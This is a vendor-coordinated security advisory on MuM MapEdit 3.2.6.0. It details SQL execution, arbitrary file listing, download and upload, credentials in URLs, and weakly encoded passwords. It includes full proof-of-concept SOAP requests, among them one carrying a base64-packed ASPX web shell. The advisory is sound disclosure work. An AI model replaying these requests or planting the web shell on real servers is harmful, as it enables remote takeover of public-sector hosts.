MuM Map Edit 3.2.6.0 SQL Injection / File Manipulation / Poor Practices

`# Security Advisory -- Multiple Vulnerabilities - MuM Map Edit  
  
  
## Product  
  
Vendor: Mensch und Maschine Software SE / Mensch und Maschine acadGraph GmbH  
Product: MapEdit  
Affected software version: 3.2.6.0  
  
MuM MapEdit provides geodata to the internet and intranets and is deployed on several communal and  
regional governmental infrastructures to provide geodata to the population. It consists of a  
silverlight client and a C#.NET backend. The communication between them is HTTP/S based and involves  
the NBFS (.NET Binary Format SOAP).  
  
Link: http://www.mum.de/DE_Autodesk-Topobase-GIS-Datenerfassung-MuM-MapEdit.CAD  
  
  
## Status/Metrics/Identifier  
  
CVE-ID: tbd  
CVSS v2 Vector: (AV:N/AC:L/Au:S/C:C/I:C/A:C)  
CVSS Score: 9.0  
  
The CVSS Score reflects the possibility of an attacker to upload web shells and execute them with  
the privileges of the web server user.  
  
## Author/Credits  
  
Paul Baade (TUV Rheinland i-sec GmbH)  
Sven Krewitt (TUV Rheinland i-sec GmbH)  
  
  
## Fixed Versions  
  
According to MuM all described vulnerabilities are fixed in version 6.2.74, some of them are reportedly  
already fixed in version 5.1.  
  
  
## Authentication via GET Parameter  
The application requires users to provide their credentials via GET Parameters. They can therefore  
possibly be found in server logs or proxy logs. An example URL would be:  
  
/Mum.Geo.Services/Start.aspx?AutoUrl=1&Username=TEST&Password=TEST[...]  
  
  
## Execution of arbitrary SQL commands on contained SQLite DBs  
The application contains several SQLite databases. An authenticated user may send POST requests to  
the URL /Mum.Geo.Services/DataAccessService.svc. This service is used to execute SQL queries  
on the databases.  
The content of the POST request is encoded in Microsofts NBFS (.NET Binary Format SOAP) and can be  
decoded to the following XML data:  
  
Request:  
--------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:DataAccessService/QueryData</a:Action>  
<a:MessageID>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:MessageID>  
<a:SequenceAcknowledgement>  
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>  
</a:SequenceAcknowledgement>  
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/DataAccessService.svc</a:To>  
</s:Header>  
<s:Body>  
<QueryData>  
<connection i:type="c:SQLiteConnection" xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess.SQLite">  
<b:CurrentRepresentation>  
<b:CollectionFeatureClassName/>  
<b:Id>0</b:Id>  
<b:LineFeatureClassName/>  
<b:Name/>  
<b:PointFeatureClassName/>  
<b:PolygonFeatureClassName/>  
</b:CurrentRepresentation>  
<b:DbVersion>999</b:DbVersion>  
<b:Id>0</b:Id>  
<b:Name>SYSTEM</b:Name>  
<b:StorageSchemaType>Unknown</b:StorageSchemaType>  
<c:Filename>[path_to_MumGeoData]\System\System.db</c:Filename>  
</connection>  
<sql>select name, caption, version_systemdata from project where id in (select Project_id from usergroup_project where usergroup_id in (select usergroup_id from user_usergroup where user_id in (select id from user where name='TEST'))) order by caption</sql>  
<queryDefinition xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">  
<b:Columns/>  
<b:SRID>0</b:SRID>  
</queryDefinition>  
<parameterNames xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>  
<parameterValues xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/>  
<startRow>1</startRow>  
<bufferSize>2000</bufferSize>  
<limit>0</limit>  
</QueryData>  
</s:Body>  
</s:Envelope>  
  
The node "Filename" can be used to access different SQLite databases on the system, while the node  
"sql" contains the SQL-query to be executed on the system.  
Responses to this request are encoded in NBFS as well and can be decoded to the following XML data:  
  
Response:  
---------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:DataAccessService/QueryDataResponse</a:Action>  
<a:RelatesTo>urn:uuid:b086a157-1bce-41be-b25c-492ab4f6dfa3</a:RelatesTo>  
</s:Header>  
<s:Body>  
<QueryDataResponse>  
<QueryDataResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">  
<b:Parameter xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.DataAccess">  
<c:Data>eNpjZAACZncXTwihYm6SlpiUammsa2hpaKlrkmhsrpuYamSpa2RkbGxpkZpsYZCSDAD4Jgsj</c:Data>  
<c:FetchedAllRows>true</c:FetchedAllRows>  
<c:ResultColumns>  
<c:DbColumnDefinition>  
<c:Caption>NAME</c:Caption>  
<c:DataType>DbString</c:DataType>  
<c:DefaultValue/>  
<c:IsNullable>false</c:IsNullable>  
<c:IsPrimaryKey>false</c:IsPrimaryKey>  
<c:Length>255</c:Length>  
<c:Name>NAME</c:Name>  
<c:Precision>0</c:Precision>  
<c:Scale>0</c:Scale>  
</c:DbColumnDefinition>  
<c:DbColumnDefinition>  
<c:Caption>CAPTION</c:Caption>  
<c:DataType>DbString</c:DataType>  
<c:DefaultValue/>  
<c:IsNullable>false</c:IsNullable>  
<c:IsPrimaryKey>false</c:IsPrimaryKey>  
<c:Length>255</c:Length>  
<c:Name>CAPTION</c:Name>  
<c:Precision>0</c:Precision>  
<c:Scale>0</c:Scale>  
</c:DbColumnDefinition>  
<c:DbColumnDefinition>  
<c:Caption>VERSION_SYSTEMDATA</c:Caption>  
<c:DataType>DbString</c:DataType>  
<c:DefaultValue/>  
<c:IsNullable>true</c:IsNullable>  
<c:IsPrimaryKey>false</c:IsPrimaryKey>  
<c:Length>40</c:Length>  
<c:Name>VERSION_SYSTEMDATA</c:Name>  
<c:Precision>0</c:Precision>  
<c:Scale>0</c:Scale>  
</c:DbColumnDefinition>  
</c:ResultColumns>  
</b:Parameter>  
<b:State>  
<b:Tags>  
<b:Item i:nil="true"/>  
</b:Tags>  
<b:ExceptionMessage/>  
<b:StackTrace/>  
<b:Succeeded>true</b:Succeeded>  
</b:State>  
</QueryDataResult>  
</QueryDataResponse>  
</s:Body>  
</s:Envelope>  
  
The nodes "DbColumnDefinition" contain the definition of the returned columns, the node "Data"  
contains the result of the SQL-query as an Base64-encoded zlib-compressed data:  
  
GDI|GDI|74fabe93-1919-4a37-ae29-223398ec80dc  
  
The same result can be produced, when the database is locally read:  
  
>sqlite3 System.db  
  
sqlite> select name, caption, version_systemdata from project where id  
in (select Project_id from usergroup_project where usergroup_id  
in (select usergroup_id from user_usergroup where user_id  
in (select id from user where name='TEST'))) order by caption;  
  
GDI|GDI|74fabe93-1919-4a37-ae29-223398ec80dc  
  
  
## Arbitrary file manipulation  
By sending POST requests to the URL /Mum.Geo.Services/IO.svc an authenticated user is able to  
perform several actions.  
Most interesting, from an attacker's point of view, would be the following:  
- "GetFileName", which lists files in a given folder  
- "DownloadFile", which enables the user to download any file the web server has read-access to  
- "UploadFile", which allows to upload files to folders the web server has write-access to  
  
The different activities are documented in the subsections below.  
As well as in the SQL execution section, the request and response content is decoded from NBFS for  
better readability.  
  
### File exploration  
An authenticated user is able to list all files in a given folder by sending the following content  
to the IO Service.  
  
Request:  
--------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:IO/GetFileNames</a:Action>  
<a:MessageID>urn:uuid:037dee48-520a-46ae-a47b-b9b57a901676</a:MessageID>  
<a:SequenceAcknowledgement>  
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>  
</a:SequenceAcknowledgement>  
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>  
</s:Header>  
<s:Body>  
<GetFileNames>  
<path>[path_to_webroot]</path>  
<searchPattern>*.*</searchPattern>  
<recursive>false</recursive>  
</GetFileNames>  
</s:Body>  
</s:Envelope>  
  
Response:  
---------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:IO/GetFileNamesResponse</a:Action>  
<a:RelatesTo>urn:uuid:037dee48-520a-46ae-a47b-b9b57a901676</a:RelatesTo>  
</s:Header>  
<s:Body>  
<GetFileNamesResponse>  
<GetFileNamesResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">  
<b:Parameter xmlns:c="http://schemas.datacontract.org/2004/07/Mum.Geo.IO">  
<c:FileNames xmlns:d="http://schemas.microsoft.com/2003/10/Serialization/Arrays">  
<d:string>clientaccesspolicy.xml</d:string>  
<d:string>crossdomain.xml</d:string>  
<d:string>iisstart.htm</d:string>  
<d:string>index.html</d:string>  
<d:string>index.php</d:string>  
<d:string>Thumbs.db</d:string>  
<d:string>web.config</d:string>  
<d:string>welcome.png</d:string>  
</c:FileNames>  
<c:Path>[path_to_webroot]</c:Path>  
</b:Parameter>  
<b:State>  
<b:Tags>  
<b:Item i:nil="true"/>  
</b:Tags>  
<b:ExceptionMessage/>  
<b:StackTrace/>  
<b:Succeeded>true</b:Succeeded>  
</b:State>  
</GetFileNamesResult>  
</GetFileNamesResponse>  
</s:Body>  
</s:Envelope>  
  
### Download of arbitrary files  
The same web service can be abused to download any file, that the web server user has read-access to.  
  
Request:  
--------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:IO/DownloadFile</a:Action>  
<a:MessageID>urn:uuid:48428e6d-19b5-42e2-ad6c-6bfde4849504</a:MessageID>  
<a:SequenceAcknowledgement>  
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>  
</a:SequenceAcknowledgement>  
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>  
</s:Header>  
<s:Body>  
<DownloadFile>  
<filename>[path_to_webroot]\Mum.Geo.Services\Admin.html</filename>  
</DownloadFile>  
</s:Body>  
</s:Envelope>  
  
Response:  
---------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:IO/DownloadFileResponse</a:Action>  
<a:RelatesTo>urn:uuid:48428e6d-19b5-42e2-ad6c-6bfde4849504</a:RelatesTo>  
</s:Header>  
<s:Body>  
<DownloadFileResponse>  
<DownloadFileResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Server.Core.IO" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">  
<b:Data>77u/PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KPGhlYWQ+DQogICAgPHRpdGxlPkFkbWluPC90aXRsZT4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwOyBVUkw9U3RhcnQuYXNweD9BZG1pbk1vZGU9dHJ1ZSIvPg0KPC9oZWFkPg0KPGJvZHk+DQogIDxwPjxhIGhyZWY9IlN0YXJ0LmFzcHg/QWRtaW5Nb2RlPXRydWUiPlN0YXJ0IE11bSBBZG1pbmlzdHJhdG9yPC9hPjwvcD4gDQo8L2JvZHk+DQo8L2h0bWw+DQo=</b:Data>  
<b:FileNotFound>false</b:FileNotFound>  
<b:IsComplete>true</b:IsComplete>  
</DownloadFileResult>  
</DownloadFileResponse>  
</s:Body>  
</s:Envelope>  
  
The node "Data" itself can be base64-decoded, to receive the file contents:  
  
i>>?<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<title>Admin</title>  
<meta http-equiv="refresh" content="0; URL=Start.aspx?AdminMode=true"/>  
</head>  
<body>  
<p><a href="Start.aspx?AdminMode=true">Start Mum Administrator</a></p>  
</body>  
</html>  
  
  
### Upload of arbitrary files  
The web service can be abused to upload a file to any folder, that the web server user has  
write-access to.  
  
Request:  
--------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:IO/UploadFile</a:Action>  
<a:MessageID>urn:uuid:20cca52e-da4c-4981-a433-eb596411d89a</a:MessageID>  
<a:SequenceAcknowledgement>  
<a:ReplyTo>http://www.w3.org/2005/08/addressing/anonymous</a:ReplyTo>  
</a:SequenceAcknowledgement>  
<a:To s:mustUnderstand="1">http://[host]/Mum.Geo.Services/IO.svc</a:To>  
</s:Header>  
<s:Body>  
<UploadFile>  
<clientFilename/>  
<serverFilename>[path_to_webroot]\MumGeoData\Userdata\GDI\isec.aspx</serverFilename>  
<temporaryServerFilename>[path_to_MumGeoData]\Userdata\GDI\e41279bd-343d-48a1-a413-05e1b3c50f40\Bookmarks\Bookmarks.sod.tmp636008925231332626</temporaryServerFilename>  
<data>eJyFk21P2zAQx9/nU5w8IbXalj4A29Qk1aANolJHK5qJaW+QkxwhW2JHtgNBE99956TdWEHsleN7/Pl/F//gM6x5hrDkIqvpI2CzNwzmGNdZwIyqkUGkeEL2G15ouh1MHZ+SFmUllYELXqKuWv/mQRss3XnOMyG1yRP9/+DFqovRicor8wQiIQhVC24CplHdoWJT507maQt7vZQ87cn4ByYGNIoU1TsI71CYE5VpwL7zy3l0tFG5yCBsktrgrEx7WwNXmQ1YK5mg1hvDlVmIGwmVziEAgfew7+r1PYe87lleoH0DhbGkTF1skHUe6luX1F9b1yAB9pa6dK5LTHNFoFRNpFylq9pUtaE4K24X8lXj5haLImzQspKv1drbMUJFpu2321L1KI2gNkYhLy+RkwKgTalSRZGV+28vbyeFpeuiXJsTyVCk9m1b26yQGu1doamVAO2Riq3o9Fhiu54VefJzX/ftJPfkv6RBS6HRvVK5wR7zK4VTRrX3HJt2uO65KYtQJDLF3t95mcYWdCNsTL//PJX5g13RR8cfdCtEu3QefVnaIzyZ02FyU+CU36MAritXoIF7jLWV2x90TkreBscyfQA6b6QqIU8DO2UGJZpbSZeKtvr5VvpUdmIZT2XT5nTYjJR+KGiTv79fXMzDbxMYDUceLMOzaAJHw+Oq8WC92iyixepiAjzWsqBnexCt1hMYD6tmvxNc5am5Ddj42Dqn/uBJ3y3FaW2MFB0E0h8oXqQY7yg+fHydYvTpBQrbMWDYDonBSrQ70Qr1Z0N2cB3Olm3JYyxatCIubJGX0A53aIej4esCjZ+jTWeyLGnvJ133tqGdrR2mPe1w21m3+/EbI5Kikw==</data>  
<append>false</append>  
<completed>true</completed>  
</UploadFile>  
</s:Body>  
</s:Envelope>  
  
The "data" node contains a base64-encoded, zlib-packed aspx web shell. It can be used to issue  
arbitrary commands on the compromised host.  
  
Response:  
---------  
<?xml version="1.0" encoding="utf-8"?>  
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">  
<s:Header>  
<a:Action s:mustUnderstand="1">urn:IO/UploadFileResponse</a:Action>  
<a:RelatesTo>urn:uuid:20cca52e-da4c-4981-a433-eb596411d89a</a:RelatesTo>  
</s:Header>  
<s:Body>  
<UploadFileResponse>  
<UploadFileResult xmlns:b="http://schemas.datacontract.org/2004/07/Mum.Geo.Core" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">  
<b:Parameter/>  
<b:State>  
<b:Tags>  
<b:Item i:nil="true"/>  
</b:Tags>  
<b:ExceptionMessage/>  
<b:StackTrace/>  
<b:Succeeded>true</b:Succeeded>  
</b:State>  
</UploadFileResult>  
</UploadFileResponse>  
</s:Body>  
</s:Envelope>  
  
  
## Base64 encoded Passwords  
In the database file in \MumGeoData\System\System.db Passwords are stored in the tables "user" and  
"connection". Both tables store their passwords in plain text with base64 encoding applied.  
  
Example:  
sqlite> select * from user where name='MUM';  
<User GUID>|MUM|<base64 encoded password>|1||  
  
  
## Remark about information disclosures  
Observing the communication between a MapEdit Silverlight client and its backend server, various  
information could be gathered, particularly file paths and license keys. Additionally the error  
messages, that the server generates discloses quite a lot of information about the backend parsing  
process.  
  
  
## History  
  
2016-06-07 Discovery of mentioned vulnerabilities  
2016-06-09 First contact with MuM  
2016-06-23 confirmation of mentioned vulnerabilities  
2016-07-29 Release of version 6.2.74  
2016-09-13 Public disclosure  
`